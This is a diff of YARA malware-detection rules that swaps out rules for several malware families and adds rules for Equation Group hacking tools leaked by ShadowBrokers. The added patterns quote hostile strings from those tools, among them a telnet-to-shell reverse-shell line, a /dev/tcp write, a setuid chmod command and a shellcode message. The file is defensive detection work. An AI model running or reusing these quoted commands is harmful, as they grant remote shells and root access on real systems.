-		$op1 = { 0E 1F BA 0E 00 B4 09 CD 21 B8 01 4C CD 21 54 68
-               69 73 20 70 72 6F 67 72 61 6D 20 63 61 6E 6E 6F
-               74 20 62 65 20 72 75 6E 20 69 6E 20 44 4F 53 20
-               6D 6F 64 65 2E 0D 0D 0A 24 00 00 00 00 00 00 00 }
-		$vprotect = { 2E 76 6D 70 30 }
+		$s1 = "[-] kernel not vulnerable" fullword ascii
+		$s2 = "[-] failed to spawn shell" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and uint32( uint32(0x3c))==0x4550 and filesize <1400KB and filesize >800KB and ( all of ($s*) and $op1 at 64 and uint16( uint32(0x3c)+11)==0x59 and $vprotect in (600..700))
+		filesize <250KB and 1 of them
 }
-rule SIGNATURE_BASE_Uboatrat_Dropper : FILE
+rule SIGNATURE_BASE_Equationgroup_Smash : FILE
 {
 	meta:
-		description = "Detects UBoatRAT Dropper"
+		description = "Equation Group hack tool leaked by ShadowBrokers- file smash"
 		author = "Florian Roth (Nextron Systems)"
-		id = "f3d4e333-1282-5f6e-9294-628a8230d2a5"
-		date = "2017-11-29"
+		id = "9a8cb090-4f47-5674-accb-f233dbb19b71"
+		date = "2017-04-08"
 		modified = "2023-12-05"
-		reference = "https://researchcenter.paloaltonetworks.com/2017/11/unit42-uboatrat-navigates-east-asia/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_uboat_rat.yar#L52-L69"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "6f8dcc8559fa0ab1644ef6bab9bc875f3d62391c157b373e0355ad03d35e5601"
+		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L717-L732"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "073496e34dded05be40ee851442f9c0ec998f35e02a5d4221677a195b792f786"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "f4c659238ffab95e87894d2c556f887774dce2431e8cb87f881df4e4d26253a3"
+		hash1 = "1dc94b46aaff06d65a3bf724c8701e5f095c1c9c131b65b2f667e11b1f0129a6"
 
 	strings:
-		$s1 = "GetCurrenvackageId" fullword ascii
-		$s2 = "fghijklmnopq" fullword ascii
-		$s3 = "23456789:;<=>?@ABCDEFGHIJKLMNOPQ" fullword ascii
-		$s4 = "PMM/dd/y" fullword ascii
-		$s5 = "bad all" fullword ascii
+		$x1 = "T=<target IP> [O=<port>] Y=<target type>" fullword ascii
+		$x2 = "no command given!! bailing..." fullword ascii
+		$x3 = "no port. assuming 22..." fullword ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <200KB and all of them )
+		filesize <250KB and 1 of them
 }
-rule SIGNATURE_BASE_Kraken_Bot_Sample : FILE
+rule SIGNATURE_BASE_Equationgroup_Ratload : FILE
 {
 	meta:
-		description = "Kraken Bot Sample - file inf.bin"
+		description = "Equation Group hack tool leaked by ShadowBrokers- file ratload"
 		author = "Florian Roth (Nextron Systems)"
-		id = "508bb581-9dad-5201-af3d-7da17d905dc9"
-		date = "2015-05-07"
+		id = "81590569-e81b-5d97-8295-cc6f018fab98"
+		date = "2017-04-08"
 		modified = "2023-12-05"
-		reference = "https://blog.gdatasoftware.com/blog/article/dissecting-the-kraken.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_kraken_bot1.yar#L8-L26"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "798e9f43fc199269a3ec68980eb4d91eb195436d"
-		logic_hash = "2e0f0a981ce3483aad8e48f6a259f9875ea4f8449feb24bafbae07243dd82a16"
-		score = 90
+		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L734-L749"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "34298175663a01b26e317c31c720f2f4fe93a5c7e375c9642664479d8672e8cd"
+		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "4a4a8f2f90529bee081ce2188131bac4e658a374a270007399f80af74c16f398"
 
 	strings:
-		$s2 = "%s=?getname" fullword ascii
-		$s4 = "&COMPUTER=^" fullword ascii
-		$s5 = "xJWFwcGRhdGElAA=" fullword ascii
-		$s8 = "JVdJTkRJUi" fullword ascii
-		$s20 = "btcplug" fullword ascii
+		$x1 = "/tmp/ratload.tmp.sh" fullword ascii
+		$x2 = "Remote Usage: /bin/telnet locip locport < /dev/console | /bin/sh\"" fullword ascii
+		$s6 = "uncompress -f ${NAME}.Z && PATH=. ${ARGS1} ${NAME} ${ARGS2} && rm -f ${NAME}" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and all of them
+		filesize <250KB and 1 of them
 }
-rule SIGNATURE_BASE_Ce_Enfal_Cmstar_Debug_Msg : FILE
+rule SIGNATURE_BASE_Equationgroup_Ys : FILE
 {
 	meta:
-		description = "Detects the static debug strings within CMSTAR"
-		author = "rfalcone"
-		id = "2c483f20-4fa8-5246-9dcb-8868db64b6e3"
-		date = "2015-05-10"
+		description = "Equation Group hack tool leaked by ShadowBrokers- file ys.auto"
+		author = "Florian Roth (Nextron Systems)"
+		id = "abd120e7-23f8-530e-b21e-c50a2b571332"
+		date = "2017-04-08"
 		modified = "2023-12-05"
-		reference = "http://goo.gl/JucrP9"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_cmstar.yar#L2-L20"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "9b9cc7e2a2481b0472721e6b87f1eba4faf2d419d1e2c115a91ab7e7e6fc7f7c"
-		logic_hash = "31251b7ce33eb561aeb7405514df83dc1e00fdf184e3deeaa48505407d9567a0"
+		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L751-L766"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "4962cc732ce3dea6dc52c7d91ce94089eb4498ba4c442ecc6363ea75de47de31"
 		score = 75
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "a6387307d64778f8d9cfc60382fdcf0627cde886e952b8d73cc61755ed9fde15"
 
 	strings:
-		$d1 = "EEE\x0d\x0a" fullword
-		$d2 = "TKE\x0d\x0a" fullword
-		$d3 = "VPE\x0d\x0a" fullword
-		$d4 = "VPS\x0d\x0a" fullword
-		$d5 = "WFSE\x0d\x0a" fullword
-		$d6 = "WFSS\x0d\x0a" fullword
-		$d7 = "CM**\x0d\x0a" fullword
+		$x1 = "EXPLOIT_SCRIPME=\"$EXPLOIT_SCRIPME\"" fullword ascii
+		$x3 = "DEFTARGET=`head /current/etc/opscript.txt 2>/dev/null | grepip 2>/dev/null | head -1`" fullword ascii
+		$x4 = "FATAL ERROR: -x port and -n port MUST NOT BE THE SAME." fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and all of ($d*)
+		filesize <250KB and 1 of them
 }
-rule SIGNATURE_BASE_HKTL_Nim_Nimpackt : EXE FILE HKTL
+rule SIGNATURE_BASE_Equationgroup_Ewok : FILE
 {
 	meta:
-		description = "Detects binaries generated with NimPackt v1"
-		author = "Cas van Cooten"
-		id = "3399d937-133f-5701-840e-eaf68b2f1ec9"
-		date = "2022-01-26"
+		description = "Equation Group hack tool leaked by ShadowBrokers- file ewok"
+		author = "Florian Roth (Nextron Systems)"
+		id = "379c233f-86f8-5116-a15c-8a80b27daea6"
+		date = "2017-04-08"
 		modified = "2023-12-05"
-		reference = "https://github.com/chvancooten/NimPackt-v1"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_nimpackt.yar#L2-L23"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "2bda7acb440d1c72efeaddcb18b736343d658d59feccf6c9339b313cd35f32eb"
-		score = 80
-		quality = 79
-		tags = "EXE, FILE, HKTL"
+		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L768-L784"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "d10d75885daa8cd20e5d7d7e142d1e7a2dbc10a50debf7892629f67b948bbdbe"
+		score = 75
+		quality = 85
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "567da502d7709b7814ede9c7954ccc13d67fc573f3011db04cf212f8e8a95d72"
 
 	strings:
-		$nim1 = "fatal.nim" ascii fullword
-		$nim2 = "winim" ascii
-		$np1 = { 4E 69 6D 50 61 63 6B 74 }
-		$sus1 = { 61 6D 73 69 00 00 00 00 B8 57 00 07 80 C3 }
-		$sus2 = { 5B 2B 5D 20 49 6E 6A 65 63 74 65 64 }
-		$sus3 = { 5C 2D 2D 20 62 79 74 65 73 20 77 72 69 74 74 65 6E 3A }
+		$x1 = "Example: ewok -t target public" fullword ascii
+		$x2 = "Usage:  cleaner host community fake_prog" fullword ascii
+		$x3 = "-g  - Subset of -m that Green Spirit hits " fullword ascii
+		$x4 = "--- ewok version" fullword ascii
 
 	condition:
-		uint16(0)==0x5A4D and filesize <750KB and 1 of ($nim*) and ($np1 or 2 of ($sus*))
+		( uint16(0)==0x457f and filesize <80KB and 1 of them )
 }
-rule SIGNATURE_BASE_ATM_Malware_Javadispcash_1 : FILE
+rule SIGNATURE_BASE_Equationgroup_Xspy : FILE
 {
 	meta:
-		description = "Detects ATM Malware JavaDispCash"
-		author = "Frank Boldewin (@r3c0nst)"
-		id = "7aa91719-6539-572a-8618-bfb5290a5b59"
-		date = "2019-03-28"
+		description = "Equation Group hack tool leaked by ShadowBrokers- file xspy"
+		author = "Florian Roth (Nextron Systems)"
+		id = "fcb7246a-d613-51d7-a4f7-f767fa5f79e1"
+		date = "2017-04-08"
 		modified = "2023-12-05"
-		reference = "https://twitter.com/r3c0nst/status/1111254169623674882"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_atm_javadipcash.yar#L1-L21"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "9a714571281844cfe7193b7c183b86b797ef5de5d1922eacaf45dad8d41cfc52"
+		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L786-L799"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "94ab45d6c94c63c5c9c68ee3d509143af4eb574058c0cd4f26eed8058dbd9213"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		hash1 = "0149667c0f8cbfc216ef9d1f3154643cbbf6940e6f24a09c92a82dd7370a5027"
-		hash2 = "ef407db8c79033027858364fd7a04eeb70cf37b7c3a10069a92bae96da88dfaa"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "841e065c9c340a1e522b281a39753af8b6a3db5d9e7d8f3d69e02fdbd662f4cf"
 
 	strings:
-		$CashInfo = "getNumberOfCashUnits" ascii wide
-		$Dispense = "waitforbillstaken" ascii wide
-		$Inject = "No code to inject!" ascii wide
-		$config = ".Agentcli" ascii wide
-		$log1 = "logft.log" ascii wide
-		$log2 = ".loginside" ascii wide
+		$s1 = "USAGE: xspy -display <display> -delay <usecs> -up" fullword ascii
 
 	condition:
-		uint16(0)==0x4B50 and filesize <500KB and all of them
+		( uint16(0)==0x457f and filesize <60KB and all of them )
 }
-rule SIGNATURE_BASE_Streamex_Shellcrew
+rule SIGNATURE_BASE_Equationgroup_Estesfox
 {
 	meta:
-		description = "Detects a "
-		author = "Cylance"
-		id = "217077bb-71b7-5cbf-8adf-68a16688c415"
-		date = "2017-02-09"
+		description = "Equation Group hack tool leaked by ShadowBrokers- file estesfox"
+		author = "Florian Roth (Nextron Systems)"
+		id = "f2e8b8ba-af09-5e7c-a99c-4f620a0917c9"
+		date = "2017-04-08"
 		modified = "2023-12-05"
-		reference = "https://blog.cylance.com/shell-crew-variants-continue-to-fly-under-big-avs-radar"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_shellcrew_streamex.yar#L11-L29"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "a82ff51c1dcd1ebe3d7acc96b46b0b79dcead9146204f060f5413c4c7b5286d3"
-		score = 80
+		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L801-L814"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "bfbc8ac62dcb61b492b1803de535f51ceb54ac83e45071270a6ef5faeaa521b2"
+		score = 75
 		quality = 85
 		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "33530cae130ee9d9deeee60df9292c00242c0fe6f7b8eedef8ed09881b7e1d5a"
 
 	strings:
-		$a = "0r+8DQY97XGB5iZ4Vf3KsEt61HLoTOuIqJPp2AlncRCgSxUWyebhMdmzvFjNwka="
-		$b = {34 ?? 88 04 11 48 63 C3 48 FF C1 48 3D D8 03 00 00}
-		$bb = {81 86 ?? ?? 00 10 34 ?? 88 86 ?? ?? 00 10 46 81 FE D8 03 00 00}
-		$c = "greendll"
-		$d = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" wide
-		$f = {26 5E 25 24 23 91 91 91 91}
-		$g = "D:\\pdb\\ht_d6.pdb"
+		$x1 = "chown root:root x;chmod 4777 x`' /tmp/logwatch.$2/cron" fullword ascii
 
 	condition:
-		$a or $b or $bb or ($c and $d) or $f or $g
+		all of them
 }
-rule SIGNATURE_BASE_Shellcrew_Streamex_1 : FILE
+rule SIGNATURE_BASE_Equationgroup_Elatedmonkey_1_0_1_1 : FILE
 {
 	meta:
-		description = "Auto-generated rule"
+		description = "Equation Group hack tool leaked by ShadowBrokers- file elatedmonkey.1.0.1.1.sh"
 		author = "Florian Roth (Nextron Systems)"
-		id = "26b4cac0-3f2b-5637-86f5-16b7f8afa0e6"
-		date = "2017-02-10"
-		modified = "2022-12-21"
-		reference = "https://blog.cylance.com/shell-crew-variants-continue-to-fly-under-big-avs-radar"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_shellcrew_streamex.yar#L40-L59"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "4da0b8843de87e53243af40700afaab77120531af28dc311d9100bce6721650b"
+		id = "d8915305-2ed7-50b7-84d0-b139a6d3481a"
+		date = "2017-04-08"
+		modified = "2022-08-18"
+		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L816-L832"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "756337ecb951357c5440ea2fe010982089539c35dc556288d61db6de22348c1f"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "81f411415aefa5ad7f7ed2365d9a18d0faf33738617afc19215b69c23f212c07"
+		hash1 = "bf7a9dce326604f0681ca9f7f1c24524543b5be8b6fcc1ba427b18e2a4ff9090"
 
 	strings:
-		$x1 = "cmd.exe /c  \"%s\"" fullword wide
-		$s3 = "uac\\bin\\install_test.pdb" ascii
-		$s5 = "uncompress error:%d %s" fullword ascii
-		$s7 = "%s\\AdobeBak\\Proc.dat" fullword wide
-		$s8 = "e:\\workspace\\boar" fullword ascii
-		$s12 = "$\\data.ini" fullword wide
+		$s1 = "Usage: $0 ( -s IP PORT | CMD )" fullword ascii
+		$s2 = "os.execl(\"/bin/sh\", \"/bin/sh\", \"-c\", \"$CMD\")" fullword ascii
+		$s3 = "PHP_SCRIPT=\"$HOME/public_html/info$X.php\"" fullword ascii
+		$s4 = "cat > /dev/tcp/127.0.0.1/80 <<" ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <1000KB and 4 of them )
+		filesize <15KB and 2 of them
 }
-rule SIGNATURE_BASE_Shellcrew_Streamex_1_Msi : FILE
+rule SIGNATURE_BASE_Equationgroup_Scanner : FILE
 {
 	meta:
-		description = "Auto-generated rule"
+		description = "Equation Group hack tool leaked by ShadowBrokers- file scanner"
 		author = "Florian Roth (Nextron Systems)"
-		id = "8cf5dad5-0737-56bf-8cef-7bcf7e7e5a78"
-		date = "2017-02-10"
+		id = "b2f9c534-0ca7-5223-b85e-8e74c3cfa6ff"
+		date = "2017-04-08"
 		modified = "2023-12-05"
-		reference = "https://blog.cylance.com/shell-crew-variants-continue-to-fly-under-big-avs-radar"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_shellcrew_streamex.yar#L61-L80"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "fa853dac58c067a88f1784ac4017fd558151e54ed10ceb32ab90c99e970460fe"
+		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L834-L849"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "b0454fd41d3591fc5811da6407a422b7c28d0b923109cdfa85b337cc7fffb178"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "8c9048e2f5ea2ef9516cac06dc0fba8a7e97754468c0d9dc1e5f7bce6dbda2cc"
+		hash1 = "dcbcd8a98ec93a4e877507058aa26f0c865b35b46b8e6de809ed2c4b3db7e222"
 
 	strings:
-		$x1 = "msi.dll.eng" fullword wide
-		$s2 = "ahinovx" fullword ascii
-		$s3 = "jkpsxy47CDEMNSTYbhinqrwx56" fullword ascii
-		$s4 = "PVYdejmrsy12" fullword ascii
-		$s6 = "FLMTUZaijkpsxy45CD" fullword ascii
-		$s7 = "afhopqvw34ABIJOPTYZehmo" fullword ascii
+		$x1 = "program version netid     address             service         owner" fullword ascii
+		$x4 = "*** Sorry about the raw output, I'll leave it for now" fullword ascii
+		$x5 = "-scan winn %s one" fullword ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <20KB and 3 of them )
+		filesize <250KB and 1 of them
 }
-rule SIGNATURE_BASE_Shellcrew_Streamex_1_Msi_Dll : FILE
+rule SIGNATURE_BASE_Equationgroup__Ftshell_Ftshell_V3_10_3_0 : FILE
 {
 	meta:
-		description = "Auto-generated rule"
+		description = "Equation Group hack tool leaked by ShadowBrokers- from files ftshell, ftshell.v3.10.3.7"
 		author = "Florian Roth (Nextron Systems)"
-		id = "56586e0b-010a-5ad5-8822-5d370475aa06"
-		date = "2017-02-10"
+		id = "6a2db0a0-386f-5ea6-b0bc-e28ed2fd53d5"
+		date = "2017-04-08"
 		modified = "2023-12-05"
-		reference = "https://blog.cylance.com/shell-crew-variants-continue-to-fly-under-big-avs-radar"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_shellcrew_streamex.yar#L82-L98"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "087ac07a2bf822f7838ef46296150381cfc9af9b12b4023654023a779efc1db1"
+		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L853-L871"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "1eb7915fd057b2cc5f788ca11b3c71210ce5e7ac29c52790c249490435e62926"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "883108119d2f4db066fa82e37aa49ecd2dbdacda67eb936b96720663ed6565ce"
-		hash2 = "5311f862d7c824d13eea8293422211e94fb406d95af0ae51358accd4835aaef8"
-		hash3 = "191cbeffa36657ab1ef3939da023cacbc9de0285bbe7775069c3d6e18b372c3f"
+		super_rule = 1
+		hash1 = "9bebeb57f1c9254cb49976cc194da4be85da4eb94475cb8d813821fb0b24f893"
+		hash2 = "0be739024b41144c3b63e40e46bab22ac098ccab44ab2e268efc3b63aea02951"
 
 	strings:
-		$s1 = "NDOGDUA" fullword ascii
-		$s2 = "NsrdsrN" fullword ascii
+		$s1 = "set uRemoteUploadCommand \"[exec cat /current/.ourtn-ftshell-upcommand]\"" fullword ascii
+		$s2 = "send \"\\[ \\\"\\$BASH\\\" = \\\"/bin/bash\\\" -o \\\"\\$SHELL\\\" = \\\"/bin/bash\\\" \\] &&" ascii
+		$s3 = "system rm -f /current/tmp/ftshell.latest" fullword ascii
+		$s4 = "# ftshell -- File Transfer Shell" fullword ascii
 
 	condition:
-		( uint16(0)==0x4d9d and filesize <300KB and all of them )
+		( uint16(0)==0x2123 and filesize <100KB and 1 of them ) or (2 of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_APT_MAL_VEILEDSIGNAL_Backdoor_Apr23 : FILE
+rule SIGNATURE_BASE_Equationgroup__Scanner_Scanner_V2_1_2 : FILE
 {
 	meta:
-		description = "Detects malicious VEILEDSIGNAL backdoor"
-		author = "X__Junior"
-		id = "74c403ea-3178-58e8-88b3-a51c1d475868"
-		date = "2023-04-20"
+		description = "Equation Group hack tool leaked by ShadowBrokers- from files scanner, scanner.v2.1.2"
+		author = "Florian Roth (Nextron Systems)"
+		id = "bf1f2119-f742-5106-96f0-de88755275ef"
+		date = "2017-04-08"
 		modified = "2023-12-05"
-		reference = "https://www.mandiant.com/resources/blog/3cx-software-supply-chain-compromise"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_nk_tradingtech_apr23.yar#L2-L17"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "4fe1a1b09344cd84f981b193b480d23807893b59ad781868d82089a7306c042f"
-		score = 85
+		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L873-L892"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "3c42aaacea1347fd64d7f91421f692e77e33e273d4c2e71806ef7f5f086aba11"
+		score = 75
 		quality = 85
 		tags = "FILE"
-		hash1 = "aa318070ad1bf90ed459ac34dc5254acc178baff3202d2ea7f49aaf5a055dd43"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash1 = "dcbcd8a98ec93a4e877507058aa26f0c865b35b46b8e6de809ed2c4b3db7e222"
+		hash2 = "9807aaa7208ed6c5da91c7c30ca13d58d16336ebf9753a5cea513bcb59de2cff"
 
 	strings:
-		$op1 = {B8 AB AA AA AA F7 E1 8B C1 C1 EA 02 8D 14 52 03 D2 2B C2 8A 84 05 ?? ?? ?? ?? 30 84 0D ?? ?? ?? ??}
-		$op2 = { 50 66 0F 13 85 ?? ?? ?? ?? 66 0F 13 85 ?? ?? ?? ?? 66 0F 13 85 ?? ?? ?? ?? 66 0F 13 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? 3C 00 00 00 C7 85 ?? ?? ?? ?? 40 00 00 00 C7 85 ?? ?? ?? ?? 05 00 00 00 FF 15}
-		$op3 = { 6A 00 8D 85 ?? ?? ?? ?? 50 6A 04 8D 85 ?? ?? ?? ?? 50 57 FF 15 }
+		$s1 = "Welcome to the network scanning tool" fullword ascii
+		$s2 = "Scanning port %d" fullword ascii
+		$s3 = "/current/down/cmdout/scans" fullword ascii
+		$s4 = "Scan for SSH version" fullword ascii
+		$s5 = "program vers proto   port  service" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and all of them
+		( uint16(0)==0x457f and filesize <100KB and 2 of them ) or ( all of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_SUSP_APT_MAL_VEILEDSIGNAL_Backdoor_Apr23
+rule SIGNATURE_BASE_Equationgroup__Ghost_Sparc_Ghost_X86_3 : FILE
 {
 	meta:
-		description = "Detects marker found in VEILEDSIGNAL backdoor"
-		author = "X__Junior"
-		id = "8f0d92b6-d9b0-55e3-b2ca-601d095f5279"
-		date = "2023-04-20"
-		modified = "2023-04-21"
-		reference = "https://www.mandiant.com/resources/blog/3cx-software-supply-chain-compromise"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_nk_tradingtech_apr23.yar#L19-L35"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "ccb482a7634dc24fde03b5730bf28a9e028f8d5a9ad46ba9663d1b520264d8f4"
+		description = "Equation Group hack tool leaked by ShadowBrokers- from files ghost_sparc, ghost_x86"
+		author = "Florian Roth (Nextron Systems)"
+		id = "ccc9c9be-8f78-5071-a11e-47f994cf8f08"
+		date = "2017-04-08"
+		modified = "2023-12-05"
+		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L894-L912"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "c4ad8e06934c1ece520863951f14cbf86d1bc4bba97aede1d58def1e5c7df4eb"
 		score = 75
 		quality = 85
-		tags = ""
-		hash1 = "aa318070ad1bf90ed459ac34dc5254acc178baff3202d2ea7f49aaf5a055dd43"
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash1 = "d5ff0208d9532fc0c6716bd57297397c8151a01bf4f21311f24e7a72551f9bf1"
+		hash2 = "82c899d1f05b50a85646a782cddb774d194ef85b74e1be642a8be2c7119f4e33"
 
 	strings:
-		$opb1 = { 81 BD ?? ?? ?? ?? 5E DA F3 76}
-		$opb2 = { C7 85 ?? ?? ?? ?? 74 F2 39 DA 66 C7 85 ?? ?? ?? ?? E5 CF}
-		$opb3 = { C7 85 ?? ?? ?? ?? 74 F2 39 DA B9 00 04 00 00 66 C7 85 ?? ?? ?? ?? E5 CF }
+		$x1 = "Usage: %s [-v os] [-p] [-r] [-c command] [-a attacker] target" fullword ascii
+		$x2 = "Sending shellcode as part of an open command..." fullword ascii
+		$x3 = "cmdshellcode" fullword ascii
